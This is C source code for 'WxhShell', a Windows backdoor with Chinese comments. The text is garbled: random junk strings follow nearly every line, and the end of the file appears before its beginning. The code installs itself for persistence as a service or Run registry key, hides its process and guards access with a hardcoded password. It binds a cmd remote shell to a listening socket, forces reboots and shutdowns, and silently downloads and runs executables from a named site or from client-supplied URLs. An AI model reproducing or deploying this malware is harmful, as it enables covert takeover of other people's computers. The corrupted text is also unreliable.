    if(Boot(SHUTDOWN)) Cio 1E-4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rBQ_iB_  
    else { luh$2 \5B  
    closesocket(wsh); }T(D7|^R  
    ExitThread(0); UXJ eAE-  
    } &* M!lxDN  
    break; =W(Q34  
    } n\mO6aJ  
  // 获取shell I9|mG'  
  case 's': { W!Gq.M  
    CmdShell(wsh); 8'HEms  
    closesocket(wsh); o_izl \  
    ExitThread(0); XWBA^|-N  
    break; 9}rS(/@ }  
  } 5TH~.^`Fi  
  // 退出 ejSji-Qd  
  case 'x': { ZF!h<h&,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (nQ^  
    CloseIt(wsh); Kn5~d(:  
    break; NVkV7y X]  
    } `KZm0d{H  
  // 离开 5'OrHk;u  
  case 'q': { G30-^Tr   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8I=2lK  
    closesocket(wsh); =9H7N]*h  
    WSACleanup(); Vr3Zu{&2  
    exit(1); KjD/o?JUr  
    break; {&&z-^  
        } *3+4[WT0]a  
  } )8a~L8oN  
  } =Qy<GeY  
\j$&DCv   
  // 提示信息 G<L;4nA)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yuh *  
} ik)|{%!K]H  
  } S\CCrje  
?qb}?&1  
  return; 2=*H 8'k  
} Amtq"<h9a  
wW Lj?;bx  
// shell模块句柄 u+9hL4  
int CmdShell(SOCKET sock) k R?qb6  
{ y6g&Y.:o  
STARTUPINFO si; >xN .F/[K  
ZeroMemory(&si,sizeof(si)); M[NV )q/)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NDN7[7E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nGC/R&  
PROCESS_INFORMATION ProcessInfo; &h}#HS>l  
char cmdline[]="cmd"; \;,_S+Fz8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _P!m%34|  
  return 0; Sj3+l7S?  
} p?02C# p  
2R[:]-b  
// 自身启动模式 aS>u,=C  
int StartFromService(void) K%t*8 4j  
{ Kew@&j~  
typedef struct j`EXlc~  
{ ))qy;Q,  
  DWORD ExitStatus; C"y(5U)d  
  DWORD PebBaseAddress; dn& s*  
  DWORD AffinityMask; #NQMy:JHD)  
  DWORD BasePriority; })'B<vq  
  ULONG UniqueProcessId; !Z1@}`V&;  
  ULONG InheritedFromUniqueProcessId; 0 j^Kgx  
}   PROCESS_BASIC_INFORMATION; B`EJb71^Xy  
Lc}LGq!  
PROCNTQSIP NtQueryInformationProcess; T6'^EZZY  
N:^n('U&j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kXViWOXU^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EfqX y>W  
[CY9^N  
  HANDLE             hProcess; &eJfGt5  
  PROCESS_BASIC_INFORMATION pbi; D ;RiGW4  
|NlO7aQ>2H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~?l | [  
  if(NULL == hInst ) return 0; ~$c\JKH-  
1v y*{D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \<bx [,?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ."g`3tVK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &w\{TZ{  
::`HQ@^  
  if (!NtQueryInformationProcess) return 0; Fw_#N6Q  
gM&{=WDG6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wH*-(*N "  
  if(!hProcess) return 0; 7 W5@TWM  
jV i) Efy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; td$E/h=3  
IYv`IS"  
  CloseHandle(hProcess); x5pdS:  
_T60;ZI+^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'B |JAi?  
if(hProcess==NULL) return 0; ?d*z8w  
MxKS4k  
HMODULE hMod; $z6_@`[  
char procName[255]; GblA9F7  
unsigned long cbNeeded; Y/F6\oh  
KR} ?H#%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9+|$$)  
KM, \  
  CloseHandle(hProcess); }PlRx6r@  
jRa43ck  
if(strstr(procName,"services")) return 1; // 以服务启动 ~g91Pr   
#<fRE"v:Q  
  return 0; // 注册表启动 ZtNN<7  
} (g]!J_Z"  
8\^R~K`sY  
// 主模块 Xg6Jh``  
int StartWxhshell(LPSTR lpCmdLine) JtE M,tK  
{ G/E+L-N#`  
  SOCKET wsl; }:zE< bK  
BOOL val=TRUE; p T?}Kc  
  int port=0; l$KA)xbI  
  struct sockaddr_in door; <)Dj9' _J  
X0HZH?V+  
  if(wscfg.ws_autoins) Install(); hPB9@ hT$  
70d1ReQ  
port=atoi(lpCmdLine); [g |_~h  
: $1?i)  
if(port<=0) port=wscfg.ws_port; 8S TvCH"Z_  
M/f<A$xx_  
  WSADATA data; b/K PaNv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z(ONv#}p  
[jQp~&nY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &u."A3(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `7E;VL^Y1  
  door.sin_family = AF_INET; T=DbBy0-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^dWa;m]l  
  door.sin_port = htons(port); h,:m~0gmj  
]h`&&Bqt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LE Nq_@$  
closesocket(wsl); bIDj[-CDG  
return 1; _;S-x  
} l:~/<`o  
J3V= 46Yc  
  if(listen(wsl,2) == INVALID_SOCKET) { fUWG*o9  
closesocket(wsl); /xBb[44z8  
return 1; h8q[1"a:  
} n` _{9R  
  Wxhshell(wsl); ,&A7iO  
  WSACleanup(); RMV/&85?y  
6yG^p]zZ  
return 0; g{)dP!}  
C}j"Qi`  
} N{!i=A  
{lzWrUGO  
// 以NT服务方式启动 QW~E&B%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Igz:eX  
{ Y1\}5k{>  
DWORD   status = 0; &&8x%Pml  
  DWORD   specificError = 0xfffffff; !qQl@j O  
eS^7A}*wd-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |*xA 8&/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L<cx:Vz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k9R4Y\8P  
  serviceStatus.dwWin32ExitCode     = 0; NN{?z!  
  serviceStatus.dwServiceSpecificExitCode = 0; tKuwpT1Qc  
  serviceStatus.dwCheckPoint       = 0; "S]0  
  serviceStatus.dwWaitHint       = 0; s]0{a.Cpv  
!PlEO 2at  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dj?> <@  
  if (hServiceStatusHandle==0) return; 9rX&uP)j^#  
3*XNV  
status = GetLastError(); _ A y9p[l  
  if (status!=NO_ERROR) |3b^~?S  
{ r|8d 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k .;j  
    serviceStatus.dwCheckPoint       = 0; xIW3={b3  
    serviceStatus.dwWaitHint       = 0; i^&~?2  
    serviceStatus.dwWin32ExitCode     = status; Vm(y7}Aq{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7aRi5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p`dU2gV  
    return; 2a)xTA#  
  } FX&~\kmV'j  
&BLJT9Frx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EJ.SW5  
  serviceStatus.dwCheckPoint       = 0; 76Cl\rV  
  serviceStatus.dwWaitHint       = 0; :S83vE81WK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ta0|+IYk<  
} ?!:ha;n  
iuW[`ou X  
// 处理NT服务事件,比如:启动、停止 >2)OiQ`zg  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  DPxM'7  
{ B]wk+8SMY.  
switch(fdwControl) H2\;%K 2  
{ .VJMz4$]O  
case SERVICE_CONTROL_STOP: CsR$c,8X.  
  serviceStatus.dwWin32ExitCode = 0; Kk0g0C:"EO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &{hL&BLr  
  serviceStatus.dwCheckPoint   = 0; L#{S!P,"  
  serviceStatus.dwWaitHint     = 0; re?,Wext\  
  { IPKbMlV#d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f*% D$Mqg  
  } SM#]H-3  
  return; i>A s;*  
case SERVICE_CONTROL_PAUSE: I*{ nP)^9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g)[V(yWu  
  break; *%NT~C q  
case SERVICE_CONTROL_CONTINUE: /t57!&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~H_/zK6e  
  break; nNV'O(x}  
case SERVICE_CONTROL_INTERROGATE: =:Fc;n>c<K  
  break; Fnv;^}\z  
}; }eU*( }<^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ 'cmSiz-  
} xh,qNnGGi  
^zmG0EH,  
// 标准应用程序主函数 <c-=3}=U\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %@aSe2B  
{ "Yv_B3p   
.V/Rfq  
// 获取操作系统版本 .GXBc  
OsIsNt=GetOsVer(); =[{i{x|Qz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 33x{CY15  
bHYy}weZ  
  // 从命令行安装 X/!o\yyT  
  if(strpbrk(lpCmdLine,"iI")) Install(); @f~RdO3  
wE>\7a*P%  
  // 下载执行文件 iL&fgF"'  
if(wscfg.ws_downexe) { 6r0krbN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %D34/=(X  
  WinExec(wscfg.ws_filenam,SW_HIDE); KeB"D!={;  
} WRbj01v  
HYZ5EV  
if(!OsIsNt) { ItVWO:x&v  
// 如果时win9x,隐藏进程并且设置为注册表启动 %6,SKg p  
HideProc(); +F` S>U  
StartWxhshell(lpCmdLine); qvsd5PeCO  
} B\=8_z  
else P>C~ i:4n  
  if(StartFromService()) .Iw AK/QS  
  // 以服务方式启动 drP=A~?&:  
  StartServiceCtrlDispatcher(DispatchTable); X*XZb F"=  
else Tya1/w4  
  // 普通方式启动 w~A{(- dx  
  StartWxhshell(lpCmdLine); gQg"j)  
py!|\00}  
return 0; &MQmu,4  
} )h4 f\0  
)gIKH{JYL  
0B/,/KX  
Su7?;Oh/yI  
=========================================== $\BE&4g  
S(I{NL}= $  
L|:`^M+^w  
 .-c4wm}  
=E4LRKn  
Q5`*3h6p=  
" kQSy+q  
/QWvW=F2<  
#include <stdio.h> ay ;S4c/_  
#include <string.h> 5E;qM|Ns  
#include <windows.h> .CABH,Po:  
#include <winsock2.h> VcO0sa f`  
#include <winsvc.h> cWsNr'MS*  
#include <urlmon.h> vhW2PzHFRi  
Xll}x+'uZK  
#pragma comment (lib, "Ws2_32.lib") O)*+="Rg  
#pragma comment (lib, "urlmon.lib") O!#g<`r{K  
+H-6eP  
#define MAX_USER   100 // 最大客户端连接数 9G#n 0&wRJ  
#define BUF_SOCK   200 // sock buffer DDP/DD;n}r  
#define KEY_BUFF   255 // 输入 buffer xd?f2=dd~h  
m)t;9J5  
#define REBOOT     0   // 重启 b9J_1Gl]  
#define SHUTDOWN   1   // 关机 ]"hFC<w  
OJuG~euy  
#define DEF_PORT   5000 // 监听端口 wj^3N7_:w  
V)HG(k  
#define REG_LEN     16   // 注册表键长度 kR-SE5`Jk  
#define SVC_LEN     80   // NT服务名长度 Nho>f  
L^2%1GfE{  
// 从dll定义API #ym'AN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >V?eog%~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -`kW&I0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W0@n/U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %COX7gV  
eK?MKe  
// wxhshell配置信息 t7Iv?5]N  
struct WSCFG { HZC"nb}r4  
  int ws_port;         // 监听端口 v6bGjVK[  
  char ws_passstr[REG_LEN]; // 口令 uK"=i8rs4  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Vn\u  
  char ws_regname[REG_LEN]; // 注册表键名 ghG**3xr  
  char ws_svcname[REG_LEN]; // 服务名 {j?FNOJn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *SDs;kg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N1}sHyVq7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u<tbbKM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yy^q2P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '4+ ur`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {9&;Q|D z  
!Y0Vid  
}; D rUO-  
30#s aGV  
// default Wxhshell configuration /tx]5`#@7]  
struct WSCFG wscfg={DEF_PORT, TOB-aAO  
    "xuhuanlingzhe", I(L,8n5  
    1, J s@hLP `  
    "Wxhshell", |^"1{7)  
    "Wxhshell", )Xz,j9GzJS  
            "WxhShell Service", rxvx  
    "Wrsky Windows CmdShell Service", MDZ640-Y  
    "Please Input Your Password: ", KK/tu+"  
  1, 2>xF){`  
  "http://www.wrsky.com/wxhshell.exe", np"\19^  
  "Wxhshell.exe" X; \+<LE  
    }; a od-3"7[  
=vCY?I$P  
// 消息定义模块 zII|9y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )hn6sXo+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u^ +7hkk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DZ'P@f)]  
char *msg_ws_ext="\n\rExit."; {0Yf]FQb-a  
char *msg_ws_end="\n\rQuit."; r;.yz I  
char *msg_ws_boot="\n\rReboot..."; *SbMqASv4G  
char *msg_ws_poff="\n\rShutdown..."; taHJ ub  
char *msg_ws_down="\n\rSave to "; vAF "n  
,F8Yn5h  
char *msg_ws_err="\n\rErr!"; K( c\wr\6  
char *msg_ws_ok="\n\rOK!"; ,i?nWlh+  
b7?uq9  
char ExeFile[MAX_PATH]; r"3=44St  
int nUser = 0; Pe_W;q.  
HANDLE handles[MAX_USER]; p?%y82E  
int OsIsNt; \R9(x]nZ%  
z1 | TC  
SERVICE_STATUS       serviceStatus; v!-/&}W)1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 36&e.3/#  
1Ti f{i,B  
// 函数声明 +aCv&sg  
int Install(void); w>s,"2&5J  
int Uninstall(void); .GP T!lDc  
int DownloadFile(char *sURL, SOCKET wsh); YNyk1cE  
int Boot(int flag);  j|DsG,  
void HideProc(void); ` xEx^P^7  
int GetOsVer(void); $kdB |4C  
int Wxhshell(SOCKET wsl); g#pr yYz  
void TalkWithClient(void *cs); FBe;1OU  
int CmdShell(SOCKET sock); 9]([\%)  
int StartFromService(void); r ,8 [O  
int StartWxhshell(LPSTR lpCmdLine); x/I%2F  
B?gOHG*vd>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Drgv`z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +< Nn~1  
>^?u .gM3  
// 数据结构和表定义 iJI }TVep#  
SERVICE_TABLE_ENTRY DispatchTable[] = CAig ]=2'  
{ Wq D4YGN  
{wscfg.ws_svcname, NTServiceMain}, 2G & a{  
{NULL, NULL} 9rA0lqr]5  
}; "+R+6<"  
PfAgM1   
// 自我安装 7FP*oN?  
int Install(void) $D~0~gn~  
{ jE.N ev/  
  char svExeFile[MAX_PATH]; W s3)gvpPA  
  HKEY key; S:#lH?<_  
  strcpy(svExeFile,ExeFile); g]l'' 7G  
R3)~?X1n  
// 如果是win9x系统,修改注册表设为自启动 i(rL|d+'  
if(!OsIsNt) { z3{G9Np  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n:I,PS0H<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q",t3i4  
  RegCloseKey(key); ^KnU4sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y!aSs3c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kUL' 1!j7  
  RegCloseKey(key); RtkEGxw*^  
  return 0; /Y:sLGQLD  
    } zJKv'>?  
  } /Iu 1L#  
} P[G)sA_"  
else { kf\PioD8  
q<x/Hat)  
// 如果是NT以上系统,安装为系统服务 R^8o^z['6u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '6nA F  
if (schSCManager!=0) T8?Ghbn  
{ ,1.p%UE]>  
  SC_HANDLE schService = CreateService <6%?OJhp  
  ( e-})6)XgA  
  schSCManager, GLH0 ]  
  wscfg.ws_svcname, U#7#aeI  
  wscfg.ws_svcdisp, p}}R-D&K  
  SERVICE_ALL_ACCESS, x xHY+(m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S1T"Z{$  
  SERVICE_AUTO_START, <VMGTBVQ  
  SERVICE_ERROR_NORMAL, _b pP50Cu  
  svExeFile, XAD- 'i  
  NULL, wyH[x!QX  
  NULL, r(>@qGN  
  NULL, k>Is:P  
  NULL, VD;01"#'  
  NULL `f,/`''R  
  ); *nT<m\C6  
  if (schService!=0) t5^{D>S1  
  { %?1ew  
  CloseServiceHandle(schService); rK 8lBy:<  
  CloseServiceHandle(schSCManager); nmee 'oEw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |"q5sym8Y_  
  strcat(svExeFile,wscfg.ws_svcname); %Bj\W'V&p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "@^k)d$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); np|Sy;:  
  RegCloseKey(key); f=+mIZ  
  return 0; JMCKcZ%N  
    } &~cBNw|  
  } WMDl=6  
  CloseServiceHandle(schSCManager); gi3F` m  
} rET\n(AJ  
} @W.S6;GA\  
<q58uuK  
return 1; ^`i#$  
} ^x]r`b  
(q/e1L-S  
// 自我卸载 do hA0  
int Uninstall(void) #H&|*lr  
{ ~Py`P'+  
  HKEY key; ;DQ ZT  
 \{_q.;}  
if(!OsIsNt) { RT4x\&q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q_:4w$>  
  RegDeleteValue(key,wscfg.ws_regname); "`/h#np  
  RegCloseKey(key); Qab>|eSm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uF>2b6'  
  RegDeleteValue(key,wscfg.ws_regname); -u+vJ6EY  
  RegCloseKey(key); Gm&Za,4%4  
  return 0; s2p\]|5  
  } j<m(PHSe  
} 3GYw+%Z]  
} nAAs{  
else { ;$,U~0  
soB,j3#p'*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n-2]M0 5O  
if (schSCManager!=0) >a<.mU|#  
{ b}$+H/V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P7bMIe  
  if (schService!=0) 5:[0z5Hww  
  { [C 7^r3w  
  if(DeleteService(schService)!=0) { f].h^ ~.q  
  CloseServiceHandle(schService); PA{PD.4Du  
  CloseServiceHandle(schSCManager); dw>C@c#"  
  return 0; R{`(c/%8  
  } 6?gW-1mY  
  CloseServiceHandle(schService); q4h]o^+  
  } C\3rJy(VJ  
  CloseServiceHandle(schSCManager); FW;?s+Uyx  
} 'T;P;:!\  
} {_"<1C  
HQ_Ok `  
return 1; ^rR1ZVY  
} v |,1[i{  
_#E0g'3  
// 从指定url下载文件 {GT*ZU*  
int DownloadFile(char *sURL, SOCKET wsh) lWk>z; d  
{ \##zR_%  
  HRESULT hr; BN5[,J  
char seps[]= "/"; %bn jgy  
char *token; h|9L5  
char *file;  R Z?jJm$  
char myURL[MAX_PATH]; nIf1sH>  
char myFILE[MAX_PATH]; 8P\G }  
Pl06:g2I  
strcpy(myURL,sURL); 6dr%;Wp  
  token=strtok(myURL,seps); PcMD])Z{G  
  while(token!=NULL) 0cH`;!MZ  
  { St9?RD{4;  
    file=token; !x=~g"d<&  
  token=strtok(NULL,seps); QD&`^(X1p  
  } u(.e8~s8  
B2vh-%63  
GetCurrentDirectory(MAX_PATH,myFILE); z=\&i\>;Z+  
strcat(myFILE, "\\"); j?\Qh  
strcat(myFILE, file); vkV0On  
  send(wsh,myFILE,strlen(myFILE),0); a 7 V-C  
send(wsh,"...",3,0); *!t/"b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CJx|?yK2  
  if(hr==S_OK) .k%72ez  
return 0; ,.8KN<A2]'  
else vzAaxk%  
return 1; qH>d  
oUlY?x1  
} @ CL{D:d  
Y;M|D'y+  
// 系统电源模块 SYJD?&C;  
int Boot(int flag) ?pmHFlx  
{ VQt0  4?  
  HANDLE hToken; 3,3N^nSD  
  TOKEN_PRIVILEGES tkp; h 0Q5-EA  
9d659i C  
  if(OsIsNt) { ^98~U\ar  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tn e4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qOtgve`jX  
    tkp.PrivilegeCount = 1; :6 R\OeH+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `wEb<H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 20h, ^  
if(flag==REBOOT) { '3fu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s?}e^/"v  
  return 0; RWZSQ~  
} ;7V%#-  
else { L|7R9+ZG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]y '>=a|T  
  return 0; ^A/k)x6  
} '@KEi%-^>  
  } #&aqKV Y  
  else { 3z?> j]  
if(flag==REBOOT) { B%b4v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u'DRN,h+  
  return 0; E7UU  
} }@+0/W?\.  
else { YnAm{YyI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lvz7#f L~  
  return 0; VA_PvL.9  
} }!r|1$,kL  
} <{cQM$ #  
\'D0'\:vz  
return 1; @o _}g !9=  
} mR:uj2*  
HyZqUb Ha  
// win9x进程隐藏模块 =s2*H8]  
void HideProc(void) osAd1<EIC  
{ *)T^Ch D,  
~Ea} /Au  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "ne?P9'hF  
  if ( hKernel != NULL ) Jhhb7uU+  
  { KL57# gV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +gtbcF@rx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'Aq{UGN  
    FreeLibrary(hKernel); 06Sceq  
  } v%z=ysA  
NP3y+s  
return; [EXs  
} [D4SW#  
*C*U5~Zq7:  
// 获取操作系统版本 %_W)~Pv{+  
int GetOsVer(void) ucW-I;"  
{ *fS"ym@  
  OSVERSIONINFO winfo; 3$>1FoSk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6Y?|w3f   
  GetVersionEx(&winfo); Fj3a.'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N +_t-5  
  return 1; xy[3u?,&s!  
  else | rtD.,m   
  return 0; !ons]^km  
} MaQqs=  
9vc2VB$  
// 客户端句柄模块 9F;>W ET  
int Wxhshell(SOCKET wsl) 6}Ci>_i4#  
{ 37.S\ gO]  
  SOCKET wsh; K;H&n1  
  struct sockaddr_in client; YfKdR"i+.  
  DWORD myID; 8^+%I/S$  
qWPkT$ u  
  while(nUser<MAX_USER) rcG"o\g@+  
{ ,m|h<faZL  
  int nSize=sizeof(client); u^I|T.w<r6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j-}O0~Jz  
  if(wsh==INVALID_SOCKET) return 1; <^jQo<kU  
'4Bm;&6M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EUX\^c]n  
if(handles[nUser]==0) O;jrCB  
  closesocket(wsh); (vJNHY M  
else /%1ON9o>  
  nUser++; 2-v%`fA  
  } !PQ<04jA!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y/7\?qfTk  
xdt- ;w|  
  return 0; Q\7h`d%)  
} Ie#Bkw'*  
vr6w^&[c^  
// 关闭 socket A]oV"`f  
void CloseIt(SOCKET wsh) p]+Pkxz]'  
{ hD!7Cl Q  
closesocket(wsh); uZKr  
nUser--; 6 V=9M:  
ExitThread(0); 3;{kJQ  
} mNTzUoZF'@  
;'@9[N9  
// 客户端请求句柄 0=1T.4+=  
void TalkWithClient(void *cs) m&,(Jla  
{ `d`T*_  
^Y \"}D  
  SOCKET wsh=(SOCKET)cs; d^ 8ZeC#  
  char pwd[SVC_LEN]; u `6:5k  
  char cmd[KEY_BUFF]; !z3jTv  
char chr[1]; Cnh \%OW  
int i,j; X5$Iyis  
xY(*.T9K  
  while (nUser < MAX_USER) { dkTX  
&n:.k}/P  
if(wscfg.ws_passstr) { QlU8uI[dk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &B1WtW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uHzU-FZ|B  
  //ZeroMemory(pwd,KEY_BUFF); GGs}i1m  
      i=0; f r6 fj  
  while(i<SVC_LEN) { {hrX'2:ClT  
33B]RGq  
  // 设置超时 {cVEmvE8  
  fd_set FdRead; c`w}|d]mC  
  struct timeval TimeOut; ~=l;=7 T  
  FD_ZERO(&FdRead); 7;wd(8  
  FD_SET(wsh,&FdRead); `|& O*`  
  TimeOut.tv_sec=8; @lrztM  
  TimeOut.tv_usec=0; -x`@6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :*9Wh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;iL#7NG-R  
X\qNG]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fywv  
  pwd=chr[0]; Hf2_0wA3  
  if(chr[0]==0xd || chr[0]==0xa) { RMu~l@  
  pwd=0; <R=Zs[9M1  
  break; >_T-u<E  
  } s9DYi~/,  
  i++; g*C7 '  
    } tl^9WG  
$B5aje}i  
  // 如果是非法用户,关闭 socket r52gn(,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6mxfLlZ  
} 00~mOK;1  
~V1E0qdAE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }N6.Uu 5zI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` 7V]y -  
56kI 5:  
while(1) { kJT)r6  
;"-&1qHN  
  ZeroMemory(cmd,KEY_BUFF); ,(^*+G.i  
ope^~+c~\  
      // 自动支持客户端 telnet标准   ~dTrf>R8M  
  j=0; z_4J)?3  
  while(j<KEY_BUFF) { e8?jmN`2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l}A93jSL  
  cmd[j]=chr[0]; M&9+6e'-F  
  if(chr[0]==0xa || chr[0]==0xd) { 60?%<oJ oH  
  cmd[j]=0; tW}'g:s  
  break; \xw5JGm  
  } q(W3i^778  
  j++; FP4P|kl/9'  
    } 5D//*}b,  
7Kxp=-k  
  // 下载文件 lZKi'vg7  
  if(strstr(cmd,"http://")) { Q K<"2p?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a~y'RyA  
  if(DownloadFile(cmd,wsh)) "b3"TPfK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ":QZy8f9%  
  else aHK}sr,U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \d`h/tHk  
  } LG#t<5y~  
  else { 8$Y9ORs4  
lA8`l>I  
    switch(cmd[0]) { (V2fRv  
